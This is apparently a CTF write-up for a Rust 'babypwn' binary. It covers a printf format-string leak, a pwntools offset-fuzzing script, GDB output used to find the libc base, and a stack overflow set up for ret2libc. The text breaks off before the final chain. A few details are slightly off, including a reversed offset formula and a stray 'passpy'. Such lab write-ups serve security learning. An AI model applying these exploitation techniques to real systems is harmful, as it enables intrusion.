Just another one of those typical intro babypwn challs... wait, why is this in Rust?
TL;DR
Leak LIBC address via printf() and execute ROP chain by exploiting Stack Buffer Overflow to perform a ret2libc attack with ASLR enabled.
Basic File Checks
The binary first prompts the user for a name, followed by a greeting message that appends our name. Afterwards, it asks for our favorite 🐸 emote, and then prints some wonderful ASCII art.
┌──(kali💀JesusCries)-[~/Desktop]
└─$ ./babypwn
Hello, world!
What is your name?
test
Hi, test
What's your favorite :msfrog: emote?
frog
....... ...----.
.-+++++++&&&+++--.--++++&&&&&&++.
+++++++++++++&&&&&&&&&&&&&&++-+++&+
+---+&&&&&&&@&+&&&&&&&&&&&++-+&&&+&+-
-+-+&&+-..--.-&++&&&&&&&&&++-+&&-. ....
-+--+&+ .&&+&&&&&&&&&+--+&+... ..
-++-.+&&&+----+&&-+&&&&&&&&&+--+&&&&&&+.
.+++++---+&&&&&&&+-+&&&&&&&&&&&+---++++--
.++++++++---------+&&&&&&&&&&&&@&&++--+++&+
-+++&&&&&&&++++&&&&&&&&+++&&&+-+&&&&&&&&&&+-
.++&&++&&&&&&&&&&&&&&&&&++&&&&++&&&&&&&&+++-
-++&+&+++++&&&&&&&&&&&&&&&&&&&&&&&&+++++&&
-+&&&@&&&++++++++++&&&&&&&&&&&++++++&@@&
-+&&&@@@@@&&&+++++++++++++++++&&&@@@@+
.+&&&@@@@@@@@@@@&&&&&&&@@@@@@@@@@@&-
.+&&@@@@@@@@@@@@@@@@@@@@@@@@@@@+
.+&&&@@@@@@@@@@@@@@@@@@@@@&+.
.-&&&&@@@@@@@@@@@@@@@&&-
.-+&&&&&&&&&&&&&+-.
..--++++--.
In terms of binary protection, nothing seems out of the ordinary other than PIE being enabled, which randomizes the base address of the binary each time.
┌──(kali💀JesusCries)-[~/Desktop]
└─$ checksec --file=babypwn
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Full RELRO No canary found NX enabled PIE enabled No RPATH No RUNPATH 731 Symbols No 0 9 babypwn
Static Code Analysis
It wouldn't be the Crusaders of Rust without Rust challenges! The source code is provided for this challenge. For context, Rust provides memory safety through its type system and compile time checks. However, the unsafe keyword is used here to tell the compiler to skip these safety checks for the entire chunk of code.
Even though the code is written in Rust, the unsafe block allows foreign LIBC functions to be loaded, essentially wrapping the entire Rust code in C++. These LIBC functions are usually the culprits for memory corruption vulnerabilities.
use libc;
use libc_stdhandle;
fn main() {
unsafe {
libc::setvbuf(libc_stdhandle::stdout(), &mut 0, libc::_IONBF, 0);
libc::printf("Hello, world!\n\0".as_ptr() as *const libc::c_char);
libc::printf("What is your name?\n\0".as_ptr() as *const libc::c_char);
let text = [0 as libc::c_char; 64].as_mut_ptr();
libc::fgets(text, 64, libc_stdhandle::stdin());
libc::printf("Hi, \0".as_ptr() as *const libc::c_char);
libc::printf(text);
libc::printf("What's your favorite :msfrog: emote?\n\0".as_ptr() as *const libc::c_char);
libc::fgets(text, 128, libc_stdhandle::stdin());
libc::printf(format!("{}\n\0", r#"
....... ...----.
.-+++++++&&&+++--.--++++&&&&&&++.
+++++++++++++&&&&&&&&&&&&&&++-+++&+
+---+&&&&&&&@&+&&&&&&&&&&&++-+&&&+&+-
-+-+&&+-..--.-&++&&&&&&&&&++-+&&-. ....
-+--+&+ .&&+&&&&&&&&&+--+&+... ..
-++-.+&&&+----+&&-+&&&&&&&&&+--+&&&&&&+.
.+++++---+&&&&&&&+-+&&&&&&&&&&&+---++++--
.++++++++---------+&&&&&&&&&&&&@&&++--+++&+
-+++&&&&&&&++++&&&&&&&&+++&&&+-+&&&&&&&&&&+-
.++&&++&&&&&&&&&&&&&&&&&++&&&&++&&&&&&&&+++-
-++&+&+++++&&&&&&&&&&&&&&&&&&&&&&&&+++++&&
-+&&&@&&&++++++++++&&&&&&&&&&&++++++&@@&
-+&&&@@@@@&&&+++++++++++++++++&&&@@@@+
.+&&&@@@@@@@@@@@&&&&&&&@@@@@@@@@@@&-
.+&&@@@@@@@@@@@@@@@@@@@@@@@@@@@+
.+&&&@@@@@@@@@@@@@@@@@@@@@&+.
.-&&&&@@@@@@@@@@@@@@@&&-
.-+&&&&&&&&&&&&&+-.
..--++++--."#).as_ptr() as *const libc::c_char);
}
}
Fuzzing printf()
The first noticeable vulnerability is the improper usage of printf that will allow us to leak addresses from the stack. We can use this as a way to leak memory address in order to defeat ASLR (Address Space Layout Randomization) and perform a ret2libc exploit.
┌──(kali💀JesusCries)-[~/Desktop]
└─$ ./babypwn
Hello, world!
What is your name?
%p %p %p %p %p %p %p %p %p
Hi, 0x7ffcd3181550 (nil) (nil) 0x564619ddf51b (nil) 0x564619ddfb10 0x7fc28f597080 (nil) 0x5646190d31be
What's your favorite :msfrog: emote?
To quickly find address leak that might interest us, we can fuzz each offset individually using the format specifier %{}$p.
fuzz.py
#!/usr/bin/python3
from pwn import *
# Allows you to switch between local/GDB/remote from terminal
def start(argv=[], *a, **kw):
if args.GDB: # Set GDBscript below
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE: # ('server', 'port')
return remote(sys.argv[1], sys.argv[2], *a, **kw)
else: # Run locally
return process([exe] + argv, *a, **kw)
# Specify your GDB script here for debugging
gdbscript = '''
piebase
continue
'''.format(**locals())
# Set up pwntools for the correct architecture
exe = './babypwn'
# This will automatically get context arch, bits, os etc
elf = context.binary = ELF(exe, checksec=False)
# Enable verbose logging so we can see exactly what is being sent (info/debug)
context.log_level = 'warning'
# ===========================================================
# EXPLOIT GOES HERE
# ===========================================================
# 30: 0x464f8
# Let's fuzz x values
for i in range(100):
try:
p = process('./babypwn')
# Format the counter
# e.g. %2$s will attempt to print [i]th pointer/string/hex/char/int
p.sendlineafter(b'?', '%{}$p'.format(i).encode())
# Receive the response
p.recvuntil(b'Hi, ')
result = p.recvline()
print(str(i) + ': ' + str(result).strip())
p.close()
except EOFError:
passpy
On each fuzzing attempt, notice how the address on certain offset always end with the same 3 bit. Based on previous experience, addresses with the prefix 0x55 are usually memory addresses of the binary; whereas addresses with the prefix 0x7f belongs to LIBC.
To understand what these leaked addresses are referencing exactly, we can use info proc mappings in GDB to show us where everything for the process is mapped in memory:
Now that we know the 7th offset is particularly interested to us, we can automate the whole process using pwntools andprovide GDB as our argument to attach our process to the debugger without doing it manually.
┌──(kali💀JesusCries)-[~/Desktop]
└─$ ./solve.py GDB
[+] Starting local process '/usr/bin/gdbserver' argv=[b'/usr/bin/gdbserver', b'--multi', b'--no-disable-randomization', b'localhost:0', b'./babypwn'] : pid 4063
[DEBUG] Received 0x3e bytes:
b'Process ./babypwn created; pid = 4066\n'
b'Listening on port 46023\n'
[DEBUG] Wrote gdb script to '/tmp/pwnmhxxd7mp.gdb'
target remote 127.0.0.1:46023
continue
[*] running in new terminal: ['/usr/bin/gdb', '-q', './babypwn', '-x', '/tmp/pwnmhxxd7mp.gdb']
[DEBUG] Created script for new terminal:
#!/usr/bin/python3
import os
os.execve('/usr/bin/gdb', ['/usr/bin/gdb', '-q', './babypwn', '-x', '/tmp/pwnmhxxd7mp.gdb'], os.environ)
[DEBUG] Launching a new terminal: ['/usr/bin/x-terminal-emulator', '-e', '/tmp/tmp2_5z0qu8']
[DEBUG] Received 0x38 bytes:
b'Remote debugging from host ::ffff:127.0.0.1, port 49210\n'
[*] '/lib/x86_64-linux-gnu/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[DEBUG] Received 0x21 bytes:
b'Hello, world!\n'
b'What is your name?\n'
b'Hello, world!\nWhat is your name?\n'
[DEBUG] Sent 0x5 bytes:
b'%7$p\n'
[DEBUG] Received 0x38 bytes:
b'Hi, 0x7ff5e2182080\n'
b"What's your favorite :msfrog: emote?\n"
Note that vmmap also produces the same outcome as info proc mappings.
Knowing this information allows us to calculate the offset of address that we leaked in relative to the base address of LIBC. We can do this by performing the following calculation:
__libc_base - leaked_address = offset
It is important to note that this offset is a constant value. Each time we execute the binary, the address at the 7th offset that we leak will be different due to ASLR, along with the base address of LIBC, however, the leaked address will always be 0xf80 bytes away from the base of LIBC. With the knowledge of this offset value, we have just defeated ASLR!
Leaking LIBC Address
Thanks to the buffer overflow that occurs during the second user-input, we can now perform a ret2libc attack using the offset value calculated before this.
Reading the source code should become clear very quickly that the program is reading 128 bytes from the user and place them into the text buffer that is only 64 bytes long. Fuzzing the binary shows that the buffer overflow offset is 96.